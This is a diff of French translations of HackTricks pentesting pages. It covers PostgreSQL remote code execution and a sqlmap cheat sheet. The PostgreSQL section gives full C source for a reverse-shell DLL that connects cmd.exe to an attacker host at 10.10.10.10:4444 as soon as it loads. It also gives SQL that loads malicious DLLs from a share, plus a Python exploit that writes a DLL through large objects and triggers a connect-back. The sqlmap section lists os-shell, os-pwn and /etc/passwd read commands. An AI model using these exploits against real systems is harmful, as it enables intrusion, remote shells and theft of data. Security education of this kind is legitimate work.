that will serve as our counter limit*/
|
||||||
|
|
||||||
int instances = PG_GETARG_INT32(1);
|
int instances = PG_GETARG_INT32(1);
|
||||||
|
|
||||||
for (int c = 0; c < instances; c++) {
|
for (int c = 0; c < instances; c++) {
|
||||||
/*launch the process passed in the first parameter*/
|
/*launch the process passed in the first parameter*/
|
||||||
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
|
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
|
||||||
}
|
}
|
||||||
PG_RETURN_VOID();
|
PG_RETURN_VOID();
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Vous pouvez trouver la DLL compilée dans ce zip:
|
Vous pouvez trouver le DLL compilé dans ce zip :
|
||||||
|
|
||||||
{% file src="../../../.gitbook/assets/pgsql_exec.zip" %}
|
{% file src="../../../.gitbook/assets/pgsql_exec.zip" %}
|
||||||
|
|
||||||
Vous pouvez indiquer à cette DLL **quel binaire exécuter** et le nombre de fois à l'exécuter, dans cet exemple, il exécutera `calc.exe` 2 fois:
|
Vous pouvez indiquer à ce DLL **quel binaire exécuter** et le nombre de fois de l'exécuter, dans cet exemple il exécutera `calc.exe` 2 fois :
|
||||||
```bash
|
```bash
|
||||||
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
|
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
|
||||||
SELECT remote_exec('calc.exe', 2);
|
SELECT remote_exec('calc.exe', 2);
|
||||||
DROP FUNCTION remote_exec(text, integer);
|
DROP FUNCTION remote_exec(text, integer);
|
||||||
```
|
```
|
||||||
Vous pouvez trouver [**ici**](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) ce reverse-shell :
|
Dans [**ce lien**](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) vous pouvez trouver ce reverse-shell:
|
||||||
```c
|
```c
|
||||||
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
|
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
|
||||||
#define PG_REVSHELL_CALLHOME_PORT "4444"
|
#define PG_REVSHELL_CALLHOME_PORT "4444"
|
||||||
|
|
||||||
#include "postgres.h"
|
#include "postgres.h"
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include "fmgr.h"
|
#include "fmgr.h"
|
||||||
#include "utils/geo_decls.h"
|
#include "utils/geo_decls.h"
|
||||||
#include <winsock2.h>
|
#include <winsock2.h>
|
||||||
|
|
||||||
#pragma comment(lib,"ws2_32")
|
#pragma comment(lib,"ws2_32")
|
||||||
|
|
||||||
#ifdef PG_MODULE_MAGIC
|
#ifdef PG_MODULE_MAGIC
|
||||||
PG_MODULE_MAGIC;
|
PG_MODULE_MAGIC;
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#pragma warning(push)
|
#pragma warning(push)
|
||||||
#pragma warning(disable: 4996)
|
#pragma warning(disable: 4996)
|
||||||
#define _WINSOCK_DEPRECATED_NO_WARNINGS
|
#define _WINSOCK_DEPRECATED_NO_WARNINGS
|
||||||
|
|
||||||
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
|
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
|
||||||
_In_ DWORD fdwReason,
|
_In_ DWORD fdwReason,
|
||||||
_In_ LPVOID lpvReserved)
|
_In_ LPVOID lpvReserved)
|
||||||
{
|
{
|
||||||
WSADATA wsaData;
|
WSADATA wsaData;
|
||||||
SOCKET wsock;
|
SOCKET wsock;
|
||||||
struct sockaddr_in server;
|
struct sockaddr_in server;
|
||||||
char ip_addr[16];
|
char ip_addr[16];
|
||||||
STARTUPINFOA startupinfo;
|
STARTUPINFOA startupinfo;
|
||||||
PROCESS_INFORMATION processinfo;
|
PROCESS_INFORMATION processinfo;
|
||||||
|
|
||||||
char *program = "cmd.exe";
|
char *program = "cmd.exe";
|
||||||
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
|
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
|
||||||
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
|
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
|
||||||
|
|
||||||
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||||
wsock = WSASocket(AF_INET, SOCK_STREAM,
|
wsock = WSASocket(AF_INET, SOCK_STREAM,
|
||||||
IPPROTO_TCP, NULL, 0, 0);
|
IPPROTO_TCP, NULL, 0, 0);
|
||||||
|
|
||||||
struct hostent *host;
|
struct hostent *host;
|
||||||
host = gethostbyname(ip);
|
host = gethostbyname(ip);
|
||||||
strcpy_s(ip_addr, sizeof(ip_addr),
|
strcpy_s(ip_addr, sizeof(ip_addr),
|
||||||
inet_ntoa(*((struct in_addr *)host->h_addr)));
|
inet_ntoa(*((struct in_addr *)host->h_addr)));
|
||||||
|
|
||||||
server.sin_family = AF_INET;
|
server.sin_family = AF_INET;
|
||||||
server.sin_port = htons(port);
|
server.sin_port = htons(port);
|
||||||
server.sin_addr.s_addr = inet_addr(ip_addr);
|
server.sin_addr.s_addr = inet_addr(ip_addr);
|
||||||
|
|
||||||
WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
|
WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
|
||||||
NULL, NULL, NULL, NULL);
|
NULL, NULL, NULL, NULL);
|
||||||
|
|
||||||
memset(&startupinfo, 0, sizeof(startupinfo));
|
memset(&startupinfo, 0, sizeof(startupinfo));
|
||||||
startupinfo.cb = sizeof(startupinfo);
|
startupinfo.cb = sizeof(startupinfo);
|
||||||
startupinfo.dwFlags = STARTF_USESTDHANDLES;
|
startupinfo.dwFlags = STARTF_USESTDHANDLES;
|
||||||
startupinfo.hStdInput = startupinfo.hStdOutput =
|
startupinfo.hStdInput = startupinfo.hStdOutput =
|
||||||
startupinfo.hStdError = (HANDLE)wsock;
|
startupinfo.hStdError = (HANDLE)wsock;
|
||||||
|
|
||||||
CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
|
CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
|
||||||
NULL, NULL, &startupinfo, &processinfo);
|
NULL, NULL, &startupinfo, &processinfo);
|
||||||
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
#pragma warning(pop) /* re-enable 4996 */
|
#pragma warning(pop) /* re-enable 4996 */
|
||||||
|
|
||||||
/* Add a prototype marked PGDLLEXPORT */
|
/* Add a prototype marked PGDLLEXPORT */
|
||||||
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);
|
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);
|
||||||
|
|
||||||
PG_FUNCTION_INFO_V1(add_one);
|
PG_FUNCTION_INFO_V1(add_one);
|
||||||
|
|
||||||
Datum dummy_function(PG_FUNCTION_ARGS)
|
Datum dummy_function(PG_FUNCTION_ARGS)
|
||||||
{
|
{
|
||||||
int32 arg = PG_GETARG_INT32(0);
|
int32 arg = PG_GETARG_INT32(0);
|
||||||
|
|
||||||
PG_RETURN_INT32(arg + 1);
|
PG_RETURN_INT32(arg + 1);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Notez que dans ce cas, le **code malveillant est à l'intérieur de la fonction DllMain**. Cela signifie que dans ce cas, il n'est pas nécessaire d'exécuter la fonction chargée dans postgresql, juste **charger la DLL** exécutera le shell inversé :
|
Notez comment dans ce cas le **code malveillant se trouve à l'intérieur de la fonction DllMain**. Cela signifie que dans ce cas, il n'est pas nécessaire d'exécuter la fonction chargée dans postgresql, il suffit de **charger le DLL** pour **exécuter** le shell inversé:
|
||||||
```c
|
```c
|
||||||
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
||||||
```
|
```
|
||||||
### RCE dans les dernières versions de PostgreSQL
|
### RCE dans les dernières versions de PostgreSQL
|
||||||
|
|
||||||
Dans les **dernières versions** de PostgreSQL, le `superutilisateur` n'est **plus autorisé** à **charger** un fichier de bibliothèque partagée depuis **n'importe où** ailleurs que `C:\Program Files\PostgreSQL\11\lib` sur Windows ou `/var/lib/postgresql/11/lib` sur \*nix. De plus, ce chemin n'est **pas accessible en écriture** par les comptes NETWORK\_SERVICE ou postgres.
|
Dans les **dernières versions** de PostgreSQL, des restrictions ont été imposées où le `superutilisateur` est **interdit** de **charger** des fichiers de bibliothèque partagée sauf à partir de répertoires spécifiques, tels que `C:\Program Files\PostgreSQL\11\lib` sur Windows ou `/var/lib/postgresql/11/lib` sur les systèmes \*nix. Ces répertoires sont **sécurisés** contre les opérations d'écriture par les comptes NETWORK\_SERVICE ou postgres.
|
||||||
|
|
||||||
Cependant, un `superutilisateur` de base de données authentifié **peut écrire** des fichiers binaires sur le système de fichiers en utilisant des "gros objets" et peut bien sûr écrire dans le répertoire `C:\Program Files\PostgreSQL\11\data`. La raison en est claire, pour mettre à jour/créer des tables dans la base de données.
|
Malgré ces restrictions, il est possible pour un `superutilisateur` de base de données authentifié d'**écrire des fichiers binaires** sur le système de fichiers en utilisant des "grands objets". Cette capacité s'étend à l'écriture dans le répertoire `C:\Program Files\PostgreSQL\11\data`, qui est essentiel pour les opérations de base de données telles que la mise à jour ou la création de tables.
|
||||||
|
|
||||||
Le problème sous-jacent est que l'opérateur `CREATE FUNCTION` **permet une traversée de répertoire** vers le répertoire de données ! Ainsi, un attaquant authentifié peut **écrire un fichier de bibliothèque partagée dans le répertoire de données et utiliser la traversée pour charger la bibliothèque partagée**. Cela signifie qu'un attaquant peut obtenir une exécution de code natif et, par conséquent, exécuter un code arbitraire.
|
Une vulnérabilité significative découle de la commande `CREATE FUNCTION`, qui **autorise la traversée de répertoire** dans le répertoire de données. Par conséquent, un attaquant authentifié pourrait **exploiter cette traversée** pour écrire un fichier de bibliothèque partagée dans le répertoire de données, puis le **charger**. Cette exploitation permet à l'attaquant d'exécuter du code arbitraire, réalisant ainsi une exécution de code natif sur le système.
|
||||||
|
|
||||||
#### Flux d'attaque
|
#### Flux d'attaque
|
||||||
|
|
||||||
Tout d'abord, vous devez **utiliser des gros objets pour télécharger le fichier dll**. Vous pouvez voir comment faire cela ici :
|
Tout d'abord, vous devez **utiliser de grands objets pour télécharger le dll**. Vous pouvez voir comment faire cela ici:
|
||||||
|
|
||||||
{% content-ref url="big-binary-files-upload-postgresql.md" %}
|
{% content-ref url="big-binary-files-upload-postgresql.md" %}
|
||||||
[big-binary-files-upload-postgresql.md](big-binary-files-upload-postgresql.md)
|
[big-binary-files-upload-postgresql.md](big-binary-files-upload-postgresql.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
Une fois que vous avez téléchargé l'extension (avec le nom de poc.dll pour cet exemple) dans le répertoire de données, vous pouvez la charger avec :
|
Une fois que vous avez téléchargé l'extension (avec le nom de poc.dll pour cet exemple) dans le répertoire de données, vous pouvez le charger avec:
|
||||||
```c
|
```c
|
||||||
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
||||||
select connect_back('192.168.100.54', 1234);
|
select connect_back('192.168.100.54', 1234);
|
||||||
```
|
```
|
||||||
_Notez que vous n'avez pas besoin d'ajouter l'extension `.dll` car la fonction de création l'ajoutera._
|
_Notez que vous n'avez pas besoin d'ajouter l'extension `.dll` car la fonction create l'ajoutera._
|
||||||
|
|
||||||
Pour plus d'informations, **lisez la** [**publication originale ici**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
Pour plus d'informations, **lisez la** [**publication originale ici**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||||
Dans cette publication, **voici le** [**code utilisé pour générer l'extension postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_pour apprendre à compiler une extension postgres, lisez l'une des versions précédentes_).\
|
Dans cette publication, **voici le** [**code utilisé pour générer l'extension postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_pour apprendre comment compiler une extension postgres, lisez l'une des versions précédentes_).\
|
||||||
Sur la même page, cet **exploit pour automatiser** cette technique a été donné:
|
Sur la même page, cet **exploit pour automatiser** cette technique a été donné:
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
if len(sys.argv) != 4:
|
if len(sys.argv) != 4:
|
||||||
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
|
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
|
||||||
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
|
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
host = sys.argv[1]
|
host = sys.argv[1]
|
||||||
port = int(sys.argv[2])
|
port = int(sys.argv[2])
|
||||||
lib = sys.argv[3]
|
lib = sys.argv[3]
|
||||||
with open(lib, "rb") as dll:
|
with open(lib, "rb") as dll:
|
||||||
d = dll.read()
|
d = dll.read()
|
||||||
sql = "select lo_import('C:/Windows/win.ini', 1337);"
|
sql = "select lo_import('C:/Windows/win.ini', 1337);"
|
||||||
for i in range(0, len(d)//2048):
|
for i in range(0, len(d)//2048):
|
||||||
start = i * 2048
|
start = i * 2048
|
||||||
end = (i+1) * 2048
|
end = (i+1) * 2048
|
||||||
if i == 0:
|
if i == 0:
|
||||||
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
|
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
|
||||||
else:
|
else:
|
||||||
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
|
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
|
||||||
if (len(d) % 2048) != 0:
|
if (len(d) % 2048) != 0:
|
||||||
end = (i+1) * 2048
|
end = (i+1) * 2048
|
||||||
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
|
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
|
||||||
|
|
||||||
sql += "select lo_export(1337, 'poc.dll');"
|
sql += "select lo_export(1337, 'poc.dll');"
|
||||||
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
|
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
|
||||||
sql += "select connect_back('%s', %d);" % (host, port)
|
sql += "select connect_back('%s', %d);" % (host, port)
|
||||||
print("(+) building poc.sql file")
|
print("(+) building poc.sql file")
|
||||||
with open("poc.sql", "w") as sqlfile:
|
with open("poc.sql", "w") as sqlfile:
|
||||||
sqlfile.write(sql)
|
sqlfile.write(sql)
|
||||||
print("(+) run poc.sql in PostgreSQL using the superuser")
|
print("(+) run poc.sql in PostgreSQL using the superuser")
|
||||||
print("(+) for a db cleanup only, run the following sql:")
|
print("(+) for a db cleanup only, run the following sql:")
|
||||||
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
|
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
|
||||||
|
@ -335,10 +337,10 @@ print(" drop function connect_back(text, integer);")
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous souhaitez voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,22 +1,22 @@
|
||||||
# SQLMap - Feuille de triche
|
# SQLMap - Aide-mémoire
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm).
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Configuration immédiatement disponible pour l'évaluation de la vulnérabilité & le pentesting**. Lancez un pentest complet de n'importe où avec plus de 20 outils & fonctionnalités allant de la reconnaissance au rapport. Nous ne remplaçons pas les pentesters - nous développons des outils personnalisés, des modules de détection & d'exploitation pour leur redonner du temps pour approfondir, obtenir des shells, et s'amuser.
|
**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/" %}
|
{% embed url="https://pentest-tools.com/" %}
|
||||||
|
|
||||||
|
@ -60,7 +60,7 @@ Autres moyens de soutenir HackTricks :
|
||||||
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
|
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
|
||||||
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
|
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
|
||||||
```
|
```
|
||||||
## Lieu d'injection
|
## Lieu de l'injection
|
||||||
|
|
||||||
### À partir de la capture Burp/ZAP
|
### À partir de la capture Burp/ZAP
|
||||||
|
|
||||||
|
@ -73,7 +73,7 @@ sqlmap -r req.txt --current-user
|
||||||
sqlmap -u "http://example.com/?id=1" -p id
|
sqlmap -u "http://example.com/?id=1" -p id
|
||||||
sqlmap -u "http://example.com/?id=*" -p id
|
sqlmap -u "http://example.com/?id=*" -p id
|
||||||
```
|
```
|
||||||
### Injection dans une requête POST
|
### Injection de requête POST
|
||||||
```bash
|
```bash
|
||||||
sqlmap -u "http://example.com" --data "username=*&password=*"
|
sqlmap -u "http://example.com" --data "username=*&password=*"
|
||||||
```
|
```
|
||||||
|
@ -97,11 +97,11 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
||||||
```
|
```
|
||||||
### Eval
|
### Eval
|
||||||
|
|
||||||
**Sqlmap** permet l'utilisation de `-e` ou `--eval` pour traiter chaque payload avant de l'envoyer avec une ligne de code Python. Cela rend très facile et rapide le traitement personnalisé du payload avant son envoi. Dans l'exemple suivant, **la session cookie flask** **est signée par flask avec le secret connu avant l'envoi** :
|
**Sqlmap** permet l'utilisation de `-e` ou `--eval` pour traiter chaque charge utile avant de l'envoyer avec un code python en une seule ligne. Cela facilite et accélère le traitement de la charge utile de manière personnalisée avant de l'envoyer. Dans l'exemple suivant, la **session cookie flask** **est signée par flask avec le secret connu avant de l'envoyer**:
|
||||||
```bash
|
```bash
|
||||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||||
```
|
```
|
||||||
### Shell
|
### Coquille
|
||||||
```bash
|
```bash
|
||||||
#Exec command
|
#Exec command
|
||||||
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
|
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
|
||||||
|
@ -116,7 +116,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
|
||||||
```bash
|
```bash
|
||||||
--file-read=/etc/passwd
|
--file-read=/etc/passwd
|
||||||
```
|
```
|
||||||
### Explorer un site web avec SQLmap et exploitation automatique
|
### Parcourir un site web avec SQLmap et auto-exploiter
|
||||||
```bash
|
```bash
|
||||||
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
|
||||||
|
|
||||||
|
@ -124,18 +124,12 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
|
||||||
--crawl = how deep you want to crawl a site
|
--crawl = how deep you want to crawl a site
|
||||||
--forms = Parse and test forms
|
--forms = Parse and test forms
|
||||||
```
|
```
|
||||||
### Injection de Second Ordre
|
### Injection de second ordre
|
||||||
```bash
|
```bash
|
||||||
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
|
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
|
||||||
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
|
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
|
||||||
```
|
```
|
||||||
[**Lisez ce post**](second-order-injection-sqlmap.md) **pour apprendre à réaliser des injections de second ordre simples et complexes avec sqlmap.**
|
[**Lisez cet article**](second-order-injection-sqlmap.md)**sur comment effectuer des injections de second ordre simples et complexes avec sqlmap.**
|
||||||
|
|
||||||
## Labs pour pratiquer
|
|
||||||
|
|
||||||
* Apprenez à utiliser sqlmap dans la **salle THM** :
|
|
||||||
|
|
||||||
{% embed url="https://tryhackme.com/room/sqlmap" %}
|
|
||||||
|
|
||||||
## Personnalisation de l'injection
|
## Personnalisation de l'injection
|
||||||
|
|
||||||
|
@ -152,78 +146,78 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
|
||||||
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
|
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
|
||||||
sqlmap -r r.txt -p id --not-string ridiculous --batch
|
sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||||
```
|
```
|
||||||
### Tamper
|
### Altérer
|
||||||
|
|
||||||
Rappelez-vous que **vous pouvez créer votre propre tamper en python** et c'est très simple. Vous pouvez trouver un exemple de tamper dans la [page d'Injection de Second Ordre ici](second-order-injection-sqlmap.md).
|
Rappelez-vous que **vous pouvez créer votre propre altérer en python** et c'est très simple. Vous pouvez trouver un exemple d'altérer dans la [page d'injection de second ordre ici](second-order-injection-sqlmap.md).
|
||||||
```bash
|
```bash
|
||||||
--tamper=name_of_the_tamper
|
--tamper=name_of_the_tamper
|
||||||
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
|
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
|
||||||
```
|
```
|
||||||
| Tamper | Description |
|
| Tamper | Description |
|
||||||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
| apostrophemask.py | Remplace le caractère apostrophe par son équivalent en pleine largeur UTF-8 |
|
| apostrophemask.py | Remplace le caractère apostrophe par son homologue en largeur complète UTF-8 |
|
||||||
| apostrophenullencode.py | Remplace le caractère apostrophe par son double illégal en unicode |
|
| apostrophenullencode.py | Remplace le caractère apostrophe par son homologue illégal en double unicode |
|
||||||
| appendnullbyte.py | Ajoute un caractère NULL encodé à la fin du payload |
|
| appendnullbyte.py | Ajoute un caractère NULL encodé à la fin de la charge utile |
|
||||||
| base64encode.py | Encode en Base64 tous les caractères d'un payload donné |
|
| base64encode.py | Encode en base64 tous les caractères d'une charge utile donnée |
|
||||||
| between.py | Remplace l'opérateur supérieur ('>') par 'NOT BETWEEN 0 AND #' |
|
| between.py | Remplace l'opérateur supérieur ('>') par 'NOT BETWEEN 0 AND #' |
|
